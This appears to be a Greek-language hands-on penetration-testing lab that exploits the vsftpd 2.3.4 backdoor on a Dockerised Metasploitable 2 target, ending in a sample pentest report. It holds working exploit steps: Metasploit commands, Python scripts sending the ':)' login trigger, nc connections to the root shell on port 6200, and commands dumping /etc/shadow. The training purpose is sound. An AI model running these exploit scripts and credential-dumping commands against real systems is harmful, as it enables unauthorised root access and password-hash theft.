Εισαγωγή και Kali — Πρακτικό εργαστήριο
Διαβάσατε την επίδειξη. Τώρα θα την ξανακάνετε μόνοι σας. Στόχος:
να βγάλετε ένα shell root στο θύμα, να καταγράψετε τρεις αποδείξεις,
να συμπληρώσετε τη λίστα ελέγχου. Υπολογίστε 45 έως 75 λεπτά την πρώτη
φορά — τον χρόνο για να κατεβάσετε τις εικόνες Docker και να καταλάβετε
τις εντολές.
Η πρώτη έκδοση αυτού του εργαστηρίου χρησιμοποιούσε δύο εικονικά μηχανήματα VirtualBox. Λειτουργούσε, αλλά απαιτούσε 4 GB λήψης, έναν εγκατεστημένο hypervisor, ένα BIOS με ενεργοποιημένη την εικονικοποίηση, και ένα VM Windows του οποίου η άδεια δεν είναι πάντα εύκολο να αποκτηθεί. Οι μισοί εγγεγραμμένοι εγκατέλειπαν πριν από την πρώτη εντολή.
Με το Docker Desktop, ένα docker compose up αντικαθιστά όλα αυτά.
Ξεκινάτε το lab σε 30 δευτερόλεπτα, το σταματάτε σε ένα δευτερόλεπτο.
Το παιδαγωγικό μάθημα είναι αυστηρά το ίδιο — ανακάλυψη μιας
ευάλωτης υπηρεσίας, εκμετάλλευσή της, απόκτηση προνομιούχου shell,
ανάκτηση αποδείξεων. Απλώς αλλάξαμε το ελάττωμα που εκμεταλλευόμαστε:
περνάμε από το MS17-010 (Windows, μη αναπαραγώγιμο σε container) στο
backdoor του vsftpd 2.3.4 (Linux, εκμεταλλεύσιμο σε container).
Όλα, σε αυτό το εργαστήριο, συμβαίνουν ανάμεσα σε δύο containers στη
θέση εργασίας σας, σε ένα ιδιωτικό δίκτυο Docker (10.20.30.0/24).
Καμία εντολή αυτού του μαθήματος δεν πρέπει να βγαίνει από τον
υπολογιστή σας. Αν είστε στο σπίτι πίσω από ένα router, η κίνηση δεν
πρέπει να φτάνει μέχρι εκεί. Το παρεχόμενο compose φροντίζει γι' αυτό:
χρησιμοποιεί ένα αφιερωμένο εσωτερικό δίκτυο bridge. Μην τροποποιείτε
αυτές τις παραμέτρους. Ποτέ μην κατευθύνετε τις εντολές σάρωσης προς
οτιδήποτε άλλο εκτός από το 10.20.30.12.
Τι πρέπει να παραδώσετε
Στο τέλος του εργαστηρίου, θα έχετε, σε έναν φάκελο ~/labs/preuves/
μέσα στο container επιτιθέμενου (διατηρημένο στον host σας μέσω
ενός volume Docker):
scan-hote.txt— έξοδος της ανακάλυψης δικτύου.scan-ports.txt— πλήρης έξοδος της σάρωσης Nmap όλων των θυρών.scan-versions.txt— έξοδος της σάρωσης εκδόσεων, με το vsftpd 2.3.4 εντοπισμένο.banniere-root.txt— έξοδος τουwhoami; hostname; id; uname -aπου εκτελέστηκε στον στόχο από το shell που αποκτήσατε.shadow.txt— το περιεχόμενο του αρχείου/etc/shadowτου στόχου, μη αναγνώσιμο για έναν κανονικό χρήστη.mini-rapport.md— τρεις παράγραφοι σε Markdown: κατάσταση, εκμετάλλευση, αντίκτυπος.
Αυτά τα έξι αρχεία είναι το παραδοτέο σας. Είναι επίσης αυτό που θα είχατε παραδώσει σε έναν πελάτη, σε μικρογραφία. Κρατάμε τη συνήθεια από την εβδομάδα 1.
Ορισμός — το proof of pwn, ή αυτό που πραγματικά περιμένει ο πελάτης
Μια αναφορά pentest διαβάζεται σε τρία επίπεδα. Η εκτελεστική σύνοψη απευθύνεται στη διεύθυνση και δίνει μια ετυμηγορία σε μία σελίδα — πέντε κρίσιμα περιστατικά, δεκατρία μέτρια, κύρια έκθεση, προτεραιότητες. Το τεχνικό μέρος καταγράφει κάθε εύρημα με την αναπαραγωγή του βήμα προς βήμα, για τις ομάδες που θα διορθώσουν. Ανάμεσα στα δύο, η γραμμή που αποφασίζει την εμπιστοσύνη που δίνουμε στην αναφορά είναι οι αποδείξεις — τα αρχεία εξόδου που επισυνάπτετε.
Μια χρήσιμη απόδειξη έχει τρεις ιδιότητες. Είναι χρονοσημασμένη — το screenshot φέρει το ρολόι του στόχου, ή το όνομα του αρχείου ξεκινά με την ημερομηνία. Είναι περιεχόμενη — βλέπουμε δίπλα στο ελάττωμα που εκμεταλλεύτηκε τι αποκτάται όταν το πυροδοτούμε, όχι απλώς ένα μήνυμα σφάλματος στο κενό. Και είναι αναπαραγώγιμη — η ακριβής εντολή σημειώνεται δίπλα, με σειρά που επιτρέπει στον μηχανικό συστημάτων του πελάτη να ξαναπαίξει το βήμα για να επαληθεύσει τη διόρθωσή του.
Η έκφραση proof of pwn — κυριολεκτικά «απόδειξη κατοχής», με τη λέξη
pwn να έχει γεννηθεί από ένα τυπογραφικό λάθος του own — δηλώνει
στην ορολογία το στιγμιότυπο που αποδεικνύει χωρίς αμφιβολία ότι το
μηχάνημα είναι δικό σας. Σε ένα παραβιασμένο Windows, το κλασικό είναι
το παράθυρο whoami που εμφανίζει SYSTEM. Σε ένα Linux, το αντίστοιχο
είναι το whoami που εμφανίζει root, συμπληρωμένο από το περιεχόμενο
του /etc/shadow — ένα αρχείο που μόνο ο root μπορεί να διαβάσει.
Χωρίς αυτήν, η αναφορά σας λέει «τα κατάφερα»· με αυτήν, η αναφορά σας
αποδεικνύει «τα κατάφερα».
Απαραίτητο υλικό
| Πόρος | Ελάχιστο |
|---|---|
| Docker Desktop | 4.30 ή νεότερο, WSL2 ενεργοποιημένο σε Windows |
| Διαθέσιμη RAM | 6 GB (2 για τον επιτιθέμενο, 1 για τον στόχο, 3 για τον host) |
| Ελεύθερος δίσκος | 15 GB (συμπεριλαμβανομένων των εικόνων Docker) |
| Εικονικοποίηση VT-x/AMD-V | Ενεργοποιημένη στο BIOS/UEFI |
| Σύστημα host | Windows 10/11, macOS 12+, Linux |
Ελέγξτε την εγκατάστασή σας:
docker --version # πρέπει να εμφανίζει Docker version 24 ή νεότερο
docker compose version # πρέπει να εμφανίζει Docker Compose version v2.x
docker info | grep -i "operating"
Αν το docker info γκρινιάζει, σημαίνει ότι το Docker Desktop δεν έχει
ξεκινήσει. Ανοίξτε το, περιμένετε το πράσινο εικονίδιο, ξαναδοκιμάστε.
Ορισμός — Docker Desktop, WSL2, και γιατί όλα αυτά λειτουργούν σε Windows
Το Docker γεννήθηκε σε Linux, όπου εκμεταλλεύεται λειτουργίες του πυρήνα (namespaces και cgroups) που δεν υπάρχουν σε Windows. Για να τρέξει το Docker σε σταθμό Windows, πρέπει λοιπόν να φιλοξενηθεί ένας πυρήνας Linux κάπου.
Δύο ιστορικές λύσεις υπήρξαν: το Hyper-V (ένα εικονικό μηχάνημα Linux διαχειριζόμενο από τα Windows) και το Docker Toolbox (ένα VM VirtualBox). Από το 2020, η Microsoft έκανε την τρίτη λύση προσβάσιμη σε όλους: το WSL2 (Windows Subsystem for Linux, έκδοση 2), έναν ελαφρύ πυρήνα Linux ενσωματωμένο στο σύστημα, ικανό να ξεκινά σε ένα δευτερόλεπτο και να ανταλλάσσει αρχεία και δίκτυο με τα Windows χωρίς τριβή.
Το Docker Desktop για Windows χρησιμοποιεί το WSL2 ως μηχανή: όταν
πληκτρολογείτε docker run, το Docker Desktop δημιουργεί ένα container
μέσα στον πυρήνα Linux του WSL2, όχι μέσα στα Windows. Γι' αυτό ένα
container Kali, που είναι ένα Linux, λειτουργεί χωρίς μαγεία σε σταθμό
Windows: τρέχει σε έναν πραγματικό πυρήνα Linux που φιλοξενείται από το
σύστημά σας, αόρατος για εσάς.
Πρακτική συνέπεια: αν στήσετε ένα volume με -v ./mon-dossier:/data,
το Docker Desktop αναλαμβάνει να μεταφράσει ανάμεσα στο σύστημα αρχείων
Windows (NTFS) και Linux (ext4). Οι εντολές του μαθήματος λειτουργούν
ακριβώς όπως αν ήσασταν σε φυσικό Linux.
Βήμα 1 — Εκκίνηση του lab (5 λεπτά)
1α. Μετάβαση στον φάκελο του lab
Το αποθετήριο του μαθήματος περιέχει έναν φάκελο labs/docker/ με ένα
docker-compose.yml ανά ενότητα. Ανοίξτε ένα τερματικό στη ρίζα του
αποθετηρίου και μετά:
cd labs/docker/module-01-introduction
Ένα ls πρέπει να σας δείξει τρία αρχεία: docker-compose.yml,
README.fr.md, README.en.md.
Αν προτιμάτε να δουλέψετε σε ένα αυτόνομο αντίγραφο των labs (χωρίς να
κλωνοποιήσετε όλο τον ιστότοπο), ο υποφάκελος labs/docker/ μπορεί να
εξαχθεί όπως είναι — τα compose δεν έχουν καμία εξάρτηση από το
υπόλοιπο αποθετήριο.
1β. Εκκίνηση των containers
Μία μόνο εντολή:
docker compose up -d
Αυτό που συμβαίνει στα επόμενα 2 έως 5 λεπτά:
- Το Docker κατεβάζει το
tleemcjr/metasploitable2(≈1,7 GB την πρώτη φορά). - Το Docker κατασκευάζει ή κατεβάζει το
inskillsec/kali-lab(≈2,5 GB την πρώτη φορά). - Το Docker δημιουργεί ένα ιδιωτικό δίκτυο
bridgeμε όνομαm01-lab-net(υποδίκτυο10.20.30.0/24). - Το Docker ξεκινά τα δύο containers, τους αποδίδει μια σταθερή IP:
10.20.30.5για τον επιτιθέμενο,10.20.30.12για τον στόχο.
Στο τέλος, βλέπετε:
[+] Running 3/3
✔ Network m01-lab-net Created
✔ Container m01-cible Started
✔ Container m01-attaquant Started
Ορισμός — οι λειτουργίες δικτύου Docker, και γιατί το bridge είναι η σωστή επιλογή εδώ
Το Docker προσφέρει πολλές λειτουργίες δικτύου, των οποίων πρέπει να γνωρίζετε τις συνέπειες για ένα lab επίθεσης.
Το host τοποθετεί το container απευθείας στη διεπαφή δικτύου του host
σας: μοιράζεται την IP του σταθμού σας, οι θύρες του είναι οι θύρες σας.
Να αποφεύγεται για ένα lab επίθεσης — το nmap -p- θα σάρωνε το
ίδιο σας το μηχάνημα και το δίκτυο στο οποίο είναι συνδεδεμένο.
Το none αφήνει το container εντελώς χωρίς δίκτυο. Χρήσιμο για απομονωμένη επεξεργασία αρχείων, άχρηστο για ένα lab όπου δύο containers πρέπει να επικοινωνούν.
Το bridge — η προεπιλεγμένη λειτουργία — δημιουργεί ένα ιδιωτικό
εικονικό δίκτυο στο οποίο το Docker συνδέει τα containers. Το compose
αυτής της ενότητας πηγαίνει παραπέρα: δημιουργεί ένα δίκτυο bridge
με όνομα (m01-lab-net) με σταθερό υποδίκτυο (10.20.30.0/24)
και σταθερές IP. Δύο πλεονεκτήματα: τα containers βλέπονται μεταξύ
τους, οι εντολές του μαθήματος αντιγράφονται-επικολλώνται χωρίς
μεταβλητή προς προσαρμογή.
Είναι το αντίστοιχο Docker του host-only του VirtualBox: ένα αυστηρά
τοπικό δίκτυο, απομονωμένο από τα υπόλοιπα, προβλέψιμο. Ελέγχετε πάντα
την απομόνωση: το docker compose exec attaquant ping -c 1 8.8.8.8
μπορεί να λειτουργήσει (γιατί ο host σας έχει προεπιλεγμένη διαδρομή),
αλλά καμία εντολή του lab δεν πρέπει να έχει προορισμό μια
εξωτερική IP. Όλες οι εντολές σάρωσης και εκμετάλλευσης στοχεύουν μόνο
το 10.20.30.12.
1γ. Έλεγχος ότι όλα είναι υγιή
Από τον φάκελο labs/docker/ (ένα επίπεδο πάνω):
./verifier-lab.sh module-01-introduction # bash / macOS / Linux / WSL
.\verifier-lab.ps1 module-01-introduction # PowerShell
Το script πρέπει να εμφανίζει δύο ✅ για τον επιτιθέμενο και τον
στόχο. Αν υπάρχει ⚠️, δώστε ακόμη 30 δευτερόλεπτα στον στόχο για να
ολοκληρώσει την εκκίνησή του και μετά ξανατρέξτε τον έλεγχο.
Άλλος γρήγορος χειροκίνητος έλεγχος:
docker compose ps
Οι δύο υπηρεσίες πρέπει να εμφανίζουν Up και healthy (για τον
στόχο).
1δ. Είσοδος στον επιτιθέμενο
Αυτός είναι ο δικός σας σταθμός Kali για όλη τη διάρκεια του εργαστηρίου:
docker compose exec attaquant bash
Το prompt αλλάζει:
┌──(pentester㉿kali)-[~/labs]
└─$
Είστε μέσα. Όλες οι εντολές που ακολουθούν πληκτρολογούνται σε αυτό το prompt, όχι στο PowerShell ή το bash του host σας.
Βήμα 2 — Δημιουργία του φακέλου αποδείξεων
Από μέσα στο container επιτιθέμενου:
mkdir -p ~/labs/preuves
cd ~/labs
Ο φάκελος ~/labs/ μέσα στο container είναι προσαρτημένος στο
./attaquant-home/ του host σας χάρη στο volume που δηλώνεται στο
compose. Τα αρχεία που δημιουργούνται εδώ εμφανίζονται σε πραγματικό
χρόνο στον φάκελο attaquant-home/ του συστήματός σας host — μπορείτε
να τα ανοίξετε με τον επεξεργαστή κώδικα της επιλογής σας.
Όλες οι εντολές που ακολουθούν πρέπει να παράγουν ένα αρχείο στο
preuves/. Ένας pentester χωρίς αρχείο εξόδου είναι ένας ψαράς χωρίς
φωτογραφία.
Βήμα 3 — Ανακάλυψη (5 λεπτά)
Βρείτε το θύμα χωρίς να διαβάσετε το compose. Ένας πραγματικός επιτιθέμενος δεν γνωρίζει την IP του στόχου του: την ανακαλύπτει.
nmap -sn 10.20.30.0/24 -oN preuves/scan-hote.txt
Το -sn ζητά από το Nmap να κάνει μόνο ένα ping scan: δεν ελέγχει
καμία θύρα, ψάχνει απλώς ποιος απαντά. Σε ένα δίκτυο bridge του
Docker, το ARP λειτουργεί άψογα — κάθε ενεργό container απαντά στη
MAC του.
Θα πρέπει να δείτε δύο απαντήσεις: 10.20.30.5 (εσείς οι ίδιοι) και
10.20.30.12 (ο στόχος). Σημειώστε την IP:
export VICTIME=10.20.30.12
echo "Cible identifiée : $VICTIME"
Ορισμός — γιατί δεν εμπιστευόμαστε το docker-compose.yml για να βρούμε την IP
Σε αυτό το lab, η IP είναι γραμμένη ολογράφως στο compose: θα μπορούσατε
να τη διαβάσετε αντί να την ανακαλύψετε. Αλλά αυτό δεν συμβαίνει
ποτέ σε πραγματική αποστολή. Ο πελάτης σας δίνει το καλύτερο ένα
CIDR («το εσωτερικό μας τμήμα είναι στο 10.42.0.0/16»), στη χειρότερη
περίπτωση τίποτα («βρείτε ό,τι υπάρχει»).
Το να αποκτήσετε τη συνήθεια να χρησιμοποιείτε το nmap -sn — ή τον
πιο θορυβώδη ξάδερφό του arp-scan -l — από το πρώτο κιόλας εργαστήριο,
σημαίνει να χτίσετε ένα αντανακλαστικό που θα σας ακολουθεί παντού: η
αναγνώριση ξεκινά με την ανακάλυψη του δικτύου, όχι με την ανάγνωση των
παρεχόμενων εγγράφων. Είναι επίσης ο λόγος για τον οποίο οι σαρώσεις
της ενότητας 04 επαναχρησιμοποιούν το ίδιο εργαλείο, σε μεγαλύτερα
υποδίκτυα. Χτίζουμε μια αλυσίδα συνηθειών, όχι μια συλλογή κόλπων.
Βήμα 4 — Σάρωση (10 λεπτά)
Θύρες:
nmap -sS -Pn -p- --min-rate 2000 $VICTIME -oN preuves/scan-ports.txt
Το -p- ζητά όλες τις 65.535 θύρες. Στο Metasploitable 2 σε Docker,
αυτή η σάρωση διαρκεί 15 έως 30 δευτερόλεπτα. Θα πρέπει να δείτε μια
μακριά λίστα — ftp, ssh, telnet, smtp, http, netbios, microsoft-ds,
mysql, postgresql, tomcat…
Εκδόσεις (προσαρμόστε τη λίστα θυρών σε ό,τι βρήκε η πρώτη σάρωση):
nmap -sV -p 21,22,23,25,80,139,445,3306,5432,8180 $VICTIME -oN preuves/scan-versions.txt
Δείτε τη γραμμή της θύρας 21:
21/tcp open ftp vsftpd 2.3.4
Αυτή η γραμμή κάνει όλη την ενότητα. Το vsftpd 2.3.4 είναι ένας διακομιστής FTP ιστορικά παραβιασμένος τον Ιούλιο του 2011. Το Nmap σας το λέει, απομένει μόνο να το εκμεταλλευτούμε.
grep -E "vsftpd|smb|mysql" preuves/scan-versions.txt
Αν δεν βλέπετε vsftpd 2.3.4 στην έξοδο: είτε ο στόχος δεν έχει
τελειώσει την εκκίνησή του (περιμένετε 30 δευτερόλεπτα και ξανατρέξτε),
είτε τρέχει διαφορετικό container (ξαναδιαβάστε το docker compose ps).
Ορισμός — vsftpd 2.3.4, η ιστορία μιας κρυφής πόρτας σε ένα έργο ανοιχτού κώδικα
Το vsftpd (Very Secure FTP Daemon) είναι ένας διακομιστής FTP που γράφτηκε από τον Chris Evans, μηχανικό ασφαλείας στην Google, και για πολύ καιρό θεωρούνταν η αναφορά του FTP σε Linux. Χρησιμοποιείται από τη Red Hat, τη Debian, το Ubuntu, πολλούς παρόχους φιλοξενίας. Η φήμη του προέρχεται από τον μινιμαλιστικό κώδικά του και τον συνεχή έλεγχό του.
Τον Ιούλιο του 2011, ένας επιτιθέμενος αποκτά προσωρινή πρόσβαση
στον επίσημο ιστότοπο vsftpd.beasts.org και αντικαθιστά το προς λήψη
αρχείο της έκδοσης 2.3.4 με μια τροποποιημένη έκδοση. Ο πηγαίος κώδικας
προσθέτει μια κρυφή πόρτα: αν ένας χρήστης στείλει ένα όνομα σύνδεσης
που τελειώνει με τους δύο χαρακτήρες :) (ένα smiley), ο διακομιστής
ανοίγει ένα shell root στη θύρα 6200/TCP. Χωρίς κωδικό. Χωρίς ίχνη
στα logs.
Ο Chris Evans ανακαλύπτει την αλλοίωση τέσσερις μέρες αργότερα, αφαιρεί το αρχείο, δημοσιεύει μια ειδοποίηση. Αλλά ανάμεσα στο κακόβουλο upload και την ανακάλυψη, δεκάδες χιλιάδες εγκαταστάσεις σε όλο τον κόσμο έχουν κατεβάσει την παγιδευμένη έκδοση. Ορισμένες συνέχισαν να τρέχουν ακόμη και χρόνια αργότερα.
Το περιστατικό έγινε σχολικό παράδειγμα για τρεις λόγους. Πρώτον γιατί δείχνει ότι ένα άψογο έργο στη διαδικασία ανάπτυξής του μπορεί να παραβιαστεί κατάντη, στην αλυσίδα διανομής. Έπειτα γιατί η κρυφή πόρτα ήταν τετριμμένη στην πυροδότηση — δεν χρειαζόταν εξελιγμένο exploit, απλώς ένα smiley σε ένα login. Τέλος γιατί ξεκίνησε μια σοβαρή σκέψη για την ανάγκη υπογραφής των δημοσιευμένων αρχείων και επαλήθευσης αυτών των υπογραφών πριν την εγκατάσταση.
Αυτή είναι η κρυφή πόρτα που θα πυροδοτήσετε σε δύο λεπτά. Δεν είναι μια ιστορία, είναι το CVE-2011-2523.
Βήμα 5 — Εκμετάλλευση (15 λεπτά)
Δύο μέθοδοι. Κάντε και τις δύο: η δεύτερη είναι σύντομη, και το να δείτε την κρυφή πόρτα εν δράσει με το χέρι αξίζει τον κόπο.
5α. Μέθοδος Metasploit (η καθαρή)
Αρχικοποιήστε τη βάση Metasploit μία πρώτη φορά:
setup-lab msf-init
Μετά εκτελέστε την κονσόλα:
msfconsole -q
Στην κονσόλα:
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 10.20.30.12
run
Περιμένετε τη γραμμή Command shell session 1 opened. Μόλις μπείτε
μέσα, είστε root στον στόχο. Κάντε:
shell
whoami
hostname
id
uname -a
exit
sessions -k 1
exit
5β. Χειροκίνητη μέθοδος (η όμορφη)
Πάντα μέσα στο container επιτιθέμενου:
# 1. Σύνδεση στο FTP και πυροδότηση της κρυφής πόρτας
python3 << 'EOF'
import socket
ftp = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ftp.connect(("10.20.30.12", 21))
print(ftp.recv(1024).decode(), end="")
ftp.sendall(b"USER hacker:)\r\n")
print(ftp.recv(1024).decode(), end="")
ftp.sendall(b"PASS anything\r\n")
print("(le serveur ne va pas répondre — c'est normal, il ouvre le port 6200)")
ftp.close()
EOF
# 2. Σύνδεση στο shell root στη θύρα 6200
nc 10.20.30.12 6200
Είστε σε ένα shell που δεν εμφανίζει κανένα prompt. Πληκτρολογήστε
whoami και μετά Enter: ο στόχος απαντά root. Πληκτρολογήστε
hostname: metasploitable. Είστε root στον στόχο χωρίς να έχετε δώσει
κανέναν κωδικό, σε τρεις γραμμές Python.
Μόλις βρεθείτε στο shell, καταγράψτε τις αποδείξεις σας — χωρίς να βγείτε από το shell.
5γ. Καταγραφή των αποδείξεων
Στο shell root στον στόχο:
whoami > /tmp/preuve.txt
hostname >> /tmp/preuve.txt
id >> /tmp/preuve.txt
uname -a >> /tmp/preuve.txt
date >> /tmp/preuve.txt
cat /tmp/preuve.txt
Μετά ανακτήστε το /etc/shadow:
cat /etc/shadow > /tmp/shadow.txt
Βγείτε από το shell root στον στόχο:
exit
Επιστρέφοντας στο shell Kali, αντλήστε τα αρχεία από τον στόχο μέσω
ανώνυμου FTP (η θύρα 21 δέχεται ανώνυμες συνδέσεις) ή πιο άμεσα μέσω
ενός απλού nc:
# Απλή έκδοση: ξαναπυροδοτούμε το trigger και τραβάμε τα αρχεία με την ίδια συνεδρία shell
python3 << 'EOF'
import socket, time
ftp = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ftp.connect(("10.20.30.12", 21))
ftp.recv(1024)
ftp.sendall(b"USER lecture:)\r\n")
ftp.recv(1024)
ftp.sendall(b"PASS x\r\n")
time.sleep(1)
ftp.close()
EOF
(echo "cat /tmp/preuve.txt"; sleep 1; echo "exit") | nc 10.20.30.12 6200 > preuves/banniere-root.txt
python3 << 'EOF'
import socket, time
ftp = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ftp.connect(("10.20.30.12", 21))
ftp.recv(1024)
ftp.sendall(b"USER dump:)\r\n")
ftp.recv(1024)
ftp.sendall(b"PASS x\r\n")
time.sleep(1)
ftp.close()
EOF
(echo "cat /etc/shadow"; sleep 1; echo "exit") | nc 10.20.30.12 6200 > preuves/shadow.txt
Ελέγξτε:
cat preuves/banniere-root.txt # doit contenir "root", "metasploitable", "uid=0"
cat preuves/shadow.txt # doit contenir "root:$1$..." et "msfadmin:$1$..."
Ορισμός — γιατί το /etc/shadow είναι η καλύτερη απόδειξη πραγματικού root
Σε ένα σύστημα Unix, οι κωδικοί πρόσβασης δεν αποθηκεύονται σε απλό
κείμενο. Κατακερματίζονται και μετά τοποθετούνται σε δύο αρχεία: το
/etc/passwd, που καταγράφει τους λογαριασμούς χρηστών και το home
τους, αναγνώσιμο από όλους, και το /etc/shadow, που περιέχει τα
αποτυπώματα κωδικών, αναγνώσιμο μόνο από τον root.
Αυτός ο διαχωρισμός χρονολογείται από τη δεκαετία του 1980. Παλαιότερα,
το hash χωρούσε στο /etc/passwd, κάτι που επέτρεπε σε οποιονδήποτε
χρήστη του συστήματος να το ανακτήσει και να επιχειρήσει offline
bruteforce. Η μετάβαση στο /etc/shadow έκανε την ανάγνωση του αρχείου
απόδειξη προνομίου — αν μπορείτε να το διαβάσετε, είστε root, ή
έχετε βρει μια κλιμάκωση προνομίων.
Σε μια αναφορά pentest, η επισύναψη των πρώτων γραμμών του
/etc/shadow κάνει δύο πράγματα. Πρώτον, πιστοποιεί χωρίς αμφιβολία το
επίπεδο προνομίου που επιτεύχθηκε. Έπειτα, δίνει στον πελάτη το υλικό
για ένα audit: μπορεί να ελέγξει την ανθεκτικότητα των κωδικών των
λογαριασμών του, να εντοπίσει όσους χρησιμοποιούν παρωχημένους
αλγορίθμους ($1$ για MD5, $5$ για SHA-256, $6$ για SHA-512, $y$
για yescrypt), και να επιβάλει περιστροφή.
Προσοχή: σε μια πραγματική αναφορά, ποτέ δεν μοιράζεστε αυτό το αρχείο σε απλό κείμενο μέσω email. Το κρυπτογραφείτε, το στέλνετε μέσω καθιερωμένου καναλιού, καταστρέφετε το αντίγραφό σας στο τέλος της αποστολής. Αυτό το είδος αρχείου είναι μια βόμβα: στα χέρια σας αποδεικνύει τη δουλειά σας, στα χέρια τρίτου παραβιάζει ολόκληρη μια επιχείρηση.
Βήμα 6 — Η μίνι αναφορά (20 λεπτά)
Στον host σας (όχι στο container — είναι πιο άνετο), ανοίξτε το
labs/docker/module-01-introduction/attaquant-home/preuves/mini-rapport.md
με τον αγαπημένο σας επεξεργαστή, και συμπληρώστε αυτές τις ενότητες.
Μην ξεπεράσετε μία σελίδα.
# Μίνι αναφορά — Εβδομάδα 1
## Κατάσταση
Δύο containers Docker σε απομονωμένο δίκτυο bridge (10.20.30.0/24).
- Επιτιθέμενος: Kali Linux (inskillsec/kali-lab) — 10.20.30.5
- Στόχος: Metasploitable 2 (tleemcjr/metasploitable2) — 10.20.30.12
## Εκμετάλλευση
Η υπηρεσία FTP (θύρα 21) τρέχει vsftpd 2.3.4, μια έκδοση γνωστή για
την ύπαρξη κρυφής πόρτας από τον Ιούλιο του 2011 (CVE-2011-2523). Ένα
όνομα χρήστη που τελειώνει με τους δύο χαρακτήρες `:)` πυροδοτεί το
άνοιγμα ενός shell root χωρίς αυθεντικοποίηση στη θύρα 6200/TCP.
Η ενότητα `exploit/unix/ftp/vsftpd_234_backdoor` του Metasploit
αυτοματοποιεί την πυροδότηση και τη σύνδεση. Η ίδια εκμετάλλευση είναι
αναπαραγώγιμη σε τρεις γραμμές Python και ένα `nc`.
Επισυναπτόμενες αποδείξεις:
- `scan-versions.txt` — το Nmap εντοπίζει ρητά το vsftpd 2.3.4.
- `banniere-root.txt` — έξοδος του `whoami; hostname; id; uname -a`
που εκτελέστηκε στον στόχο, πιστοποιεί τον λογαριασμό root.
- `shadow.txt` — περιεχόμενο του αρχείου /etc/shadow του στόχου,
αναγνώσιμο μόνο από τον root.
## Αντίκτυπος
Πλήρης παραβίαση του συστήματος (uid=0). Εξαγωγή των τοπικών
αποτυπωμάτων κωδικών, εκμεταλλεύσιμων offline. Σε περιβάλλον
παραγωγής, αυτή η παραβίαση θα επέτρεπε την ανάγνωση κάθε
φιλοξενούμενου δεδομένου, τη σιωπηλή τροποποίηση των υπηρεσιών, και
την εγκατάσταση μόνιμης παρουσίας.
## Συστάσεις
1. Αφαίρεση του vsftpd 2.3.4 παντού. Καμία έκδοση 2.3.x δεν
υποστηρίζεται πλέον· μετάβαση στο 3.0.5 (τελευταίος σταθερός
κλάδος) ή σε άλλον σύγχρονο διακομιστή FTP.
2. Έλεγχος των hash SHA-256 των αρχείων που κατεβαίνουν πριν την
εγκατάσταση. Το παγιδευμένο αρχείο του 2011 είχε διαφορετικό hash
από το νόμιμο αρχείο, ο έλεγχος θα είχε προειδοποιήσει αμέσως.
3. Απαγόρευση της εγκατάστασης λογισμικού από μη υπογεγραμμένα
αποθετήρια. Κάθε σύγχρονη διανομή Linux προσφέρει υπογραφή GPG των
πακέτων.
4. Τοποθέτηση της κίνησης FTP πίσω από VPN ή αντικατάστασή της με
SFTP. Το πρωτόκολλο FTP σε απλό κείμενο είναι ούτως ή άλλως
ακατάλληλο για σύγχρονο περιβάλλον.
Αυτή η μορφή — Κατάσταση, Εκμετάλλευση, Αντίκτυπος, Συστάσεις — είναι αυτή που θα βελτιώσουμε στην ενότητα 12. Πάρτε τη συνήθεια τώρα.
Βήμα 7 — Καθαρισμός
Πάντα στο shell του host, από το labs/docker/module-01-introduction/:
docker compose down -v
- Το
downσταματά και αφαιρεί τα δύο containers. - Το
-vαφαιρεί επίσης τα ανώνυμα volumes. Οι αποδείξεις σας στοattaquant-home/παραμένουν στον δίσκο σας: αυτός ο φάκελος είναι μια ρητή προσάρτηση, όχι ένα ανώνυμο volume.
Ελέγξτε:
docker ps # πρέπει να είναι άδειο (ή να μην περιέχει m01-*)
docker network ls | grep m01 # πρέπει να είναι άδειο
Το lab αποσυναρμολογήθηκε. Την επόμενη φορά, το docker compose up -d
το ξανασυναρμολογεί σε 30 δευτερόλεπτα αφού όλες οι εικόνες είναι ήδη
στην cache.
Λίστα ελέγχου τέλους εργαστηρίου
- Το Docker Desktop ξεκίνησε, το
docker infoαπαντά. - Το
docker compose up -dξεκίνησε τα δύο containers, τοdocker compose psεμφανίζειUpκαιhealthy. - Το
verifier-lab.sh(ή.ps1) εμφανίζει δύο ✅. - Ο φάκελος
~/labs/preuves/μέσα στο container περιέχει τα έξι αρχεία που αναφέρονται στην αρχή της σελίδας. - Η θύρα 6200 στον στόχο απάντησε σωστά σε ένα
ncμετά την πυροδότηση της κρυφής πόρτας. - Το
banniere-root.txtπεριέχειrootκαιuid=0. - Το
shadow.txtπεριέχει πολλές γραμμές που αρχίζουν με έναν λογαριασμό και ένα hash$.... - Το
mini-rapport.mdγράφτηκε, μία σελίδα, τέσσερις ενότητες. - Το
docker compose down -vκαθάρισε τα containers.
Όλα σημειωμένα; Μόλις εκτελέσατε, μόνοι σας, μια πλήρη αλυσίδα επίθεσης: ανακάλυψη → σάρωση → ταυτοποίηση έκδοσης → εκμετάλλευση → proof of pwn → αναφορά. Αυτός είναι ο σκελετός όλων των αποστολών της υπόλοιπης καριέρας σας.
Τι μπλοκάρει, και πώς ξεμπλοκάρετε
| Σύμπτωμα | Πιθανή αιτία | Τι κάνετε |
|---|---|---|
docker compose up: Cannot connect to Docker daemon | Το Docker Desktop δεν έχει ξεκινήσει | Ξεκινήστε το Docker Desktop, περιμένετε το πράσινο εικονίδιο. |
Πολύ αργή λήψη του metasploitable2 | Εικόνα 1,7 GB, αργή σύνδεση | Περιμένετε. Μόλις μπει στην cache, οι επόμενες εκκινήσεις είναι ακαριαίες. |
nmap: ο στόχος δεν απαντά | Ο στόχος δεν έχει τελειώσει το services.sh του | Περιμένετε άλλα 30 δ., το docker compose logs cible πρέπει να εμφανίζει services running. |
Θύρα 21 ανοιχτή αλλά όχι vsftpd 2.3.4 | Τρέχει άλλο container στη θέση του | docker compose down -v, μετά καθαρό docker compose up -d. |
Το trigger :) χωρίς αποτέλεσμα | Είστε συνδεδεμένοι σε άλλο FTP | Ελέγξτε nc -zv 10.20.30.12 21, ελέγξτε το ακριβές όνομα χρήστη (hacker:)). |
Το nc 10.20.30.12 6200 αρνείται τη σύνδεση | Η κρυφή πόρτα δεν άνοιξε τη θύρα | Ξανακάντε το trigger με διαφορετικό login — ένα ήδη χρησιμοποιημένο login μπορεί να μην ξαναπυροδοτεί. |
